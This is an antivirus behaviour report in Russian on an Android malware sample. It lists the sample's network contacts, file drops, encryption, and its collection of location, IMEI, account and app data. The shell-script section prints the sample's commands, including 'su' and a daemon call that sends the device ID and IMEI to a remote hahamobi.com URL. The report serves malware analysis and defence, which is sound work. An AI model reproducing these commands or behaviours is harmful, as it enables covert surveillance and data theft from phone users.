Техническая информация
Вредоносные функции:
Выполняет код следующих детектируемых угроз:
- Android.DownLoader.331.origin
- Android.DownLoader.687
- Android.SmsSpy.2442
- Android.Sprovider.6.origin
Осуществляет доступ к приватному интерфейсу ITelephony.
Сетевая активность:
Подключается к:
- UDP(DNS) <Google DNS>
- TCP(HTTP/1.1) re####.haha####.com:80
- TCP(HTTP/1.1) i1.myap####.in:80
- TCP(HTTP/1.1) ray####.ctg.n####.net:80
- TCP(HTTP/1.1) c5.mdy####.com:80
- TCP(HTTP/1.1) d11kdti####.cloudf####.net:80
- TCP(HTTP/1.1) www.haha####.com:80
- TCP(HTTP/1.1) a.as####.in:80
- TCP(HTTP/1.1) sdk.mobnati####.com:80
- TCP(HTTP/1.1) t####.talking####.net:80
- TCP(HTTP/1.1) net.haha####.com:80
- TCP(HTTP/1.1) rtb.ad####.com:80
- TCP(TLS/1.0) 1####.217.168.206:443
Запросы DNS:
- a.as####.in
- ads.mobnati####.com
- c5.mdy####.com
- cdn####.ray####.com
- d11kdti####.cloudf####.net
- i1.myap####.in
- net.haha####.com
- re####.haha####.com
- rtb.ad####.com
- sdk.mobnati####.com
- t####.talking####.net
- us.salmo####.com
- www.00####.com
- www.haha####.com
Запросы HTTP GET:
- c5.mdy####.com/upload/update/blue_4.3.1.png
- d11kdti####.cloudf####.net/common/2014/12/19/14189610494995.png
- d11kdti####.cloudf####.net/common/2014/12/19/14189610977984.png
- i1.myap####.in/promotePic/1052/1505376980919.png
- i1.myap####.in/promotePic/492/1458658089293.png
- net.haha####.com/request?p=eyJzb####
- net.haha####.com/setting?app_id=####&sign=####
- ray####.ctg.n####.net/cdn-adn/v2/dmp/18/09/07/11/26/5b91eff4c2472.png
- re####.haha####.com/ad/find?platform=####&os_version=####&package_name=#...
- re####.haha####.com/show?p=####&tpl=####
- rtb.ad####.com/b/?version=####&publisherid=####&app_id=####&slotid=####&...
- sdk.mobnati####.com/config?slotId=####
- sdk.mobnati####.com/dzzb?aid=####&sid=####&udid=####&icc=####&pk=####&v=...
- sdk.mobnati####.com/search.php?adnum=####&os=####&ngp=####&aid=####&sid=...
- www.haha####.com/api/strategy.php?p=eyJ0c####
Запросы HTTP POST:
- a.as####.in/l.php
- a.as####.in/r.php
- t####.talking####.net/g/d
Изменения в файловой системе:
Создает следующие файлы:
- /data/data/####/.jg.ic
- /data/data/####/0c25590d46ac5f390acbd41a4fb58f74.prefs.xml
- /data/data/####/1.tmp
- /data/data/####/2.tmp
- /data/data/####/TDtcagent.db
- /data/data/####/TDtcagent.db-journal
- /data/data/####/agent_log
- /data/data/####/com.ifb.manager.togoogleplayb-journal
- /data/data/####/com.ifb.manager.togoogleplays.xml
- /data/data/####/com.nativedroid.sa.xml
- /data/data/####/config.xml
- /data/data/####/crash_log
- /data/data/####/daemon
- /data/data/####/dayupdate.xml
- /data/data/####/libjiagu.so
- /data/data/####/nativedroid.asa.sdk.db-journal
- /data/data/####/plugin.jar
- /data/data/####/plugin2.zip
- /data/data/####/pref_longtime.xml
- /data/data/####/pref_shorttime.xml
- /data/data/####/t.jar
- /data/data/####/t.tmp
- /data/data/####/td.lock
- /data/data/####/tdid.xml
- /data/data/####/tem.jar
- /data/data/####/webview.db-journal
- /data/media/####/-38457382
- /data/media/####/-38457382.temp
- /data/media/####/-736746579.temp
- /data/media/####/.tcookieid
- /data/media/####/2040791001.temp
- /data/media/####/27426FBFA1B09CF5C58C88C92B0FFE03
- /data/media/####/922095750.temp
- /data/media/####/com.ifb.manager.togoogleplay
- /data/media/####/tick
Другие:
Запускает следующие shell-скрипты:
- <Package Folder>/files/daemon --process_name <Package> --package_name <Package> --component_name com.nativedroid.sa.sdk.core.XB --url http://www.hahamobi.com/api/uninstall.php?android_id=fedd3e776929417a'&'imei=<IMEI>'&'app_id=23468'&'time=1545873025375'&'sign=480616c224c85ccb0b5b2ddb053f8cc9'&'sdk_version=SA_2.1.81 --path /storage/emulated/0/.nativedroid/<Package> --user_serial 0
- chmod 775 <Package Folder>/files/daemon
- getprop
- sh
- sh <Package Folder>/files/daemon --process_name <Package> --package_name <Package> --component_name com.nativedroid.sa.sdk.core.XB --url http://www.hahamobi.com/api/uninstall.php?android_id=fedd3e776929417a'&'imei=<IMEI>'&'app_id=23468'&'time=1545873025375'&'sign=480616c224c85ccb0b5b2ddb053f8cc9'&'sdk_version=SA_2.1.81 --path /storage/emulated/0/.nativedroid/<Package> --user_serial 0
- su
Загружает динамические библиотеки:
- libjiagu
Использует следующие алгоритмы для шифрования данных:
- DES-CBC-PKCS5Padding
Использует следующие алгоритмы для расшифровки данных:
- AES-CFB-NoPadding
- DES
- DES-CBC-PKCS5Padding
Использует повышенные привилегии.
Использует специальную библиотеку для скрытия исполняемого байт-кода.
Получает информацию о местоположении.
Получает информацию о сети.
Получает информацию о телефоне (номер, IMEI и т. д.).
Получает информацию об установленных приложениях.
Получает информацию о запущенных приложениях.
Получает информацию о привязанных к устройству аккаунтах (Google, Facebook и т. д.).
Добавляет задания в системный планировщик.
Отрисовывает собственные окна поверх других приложений.
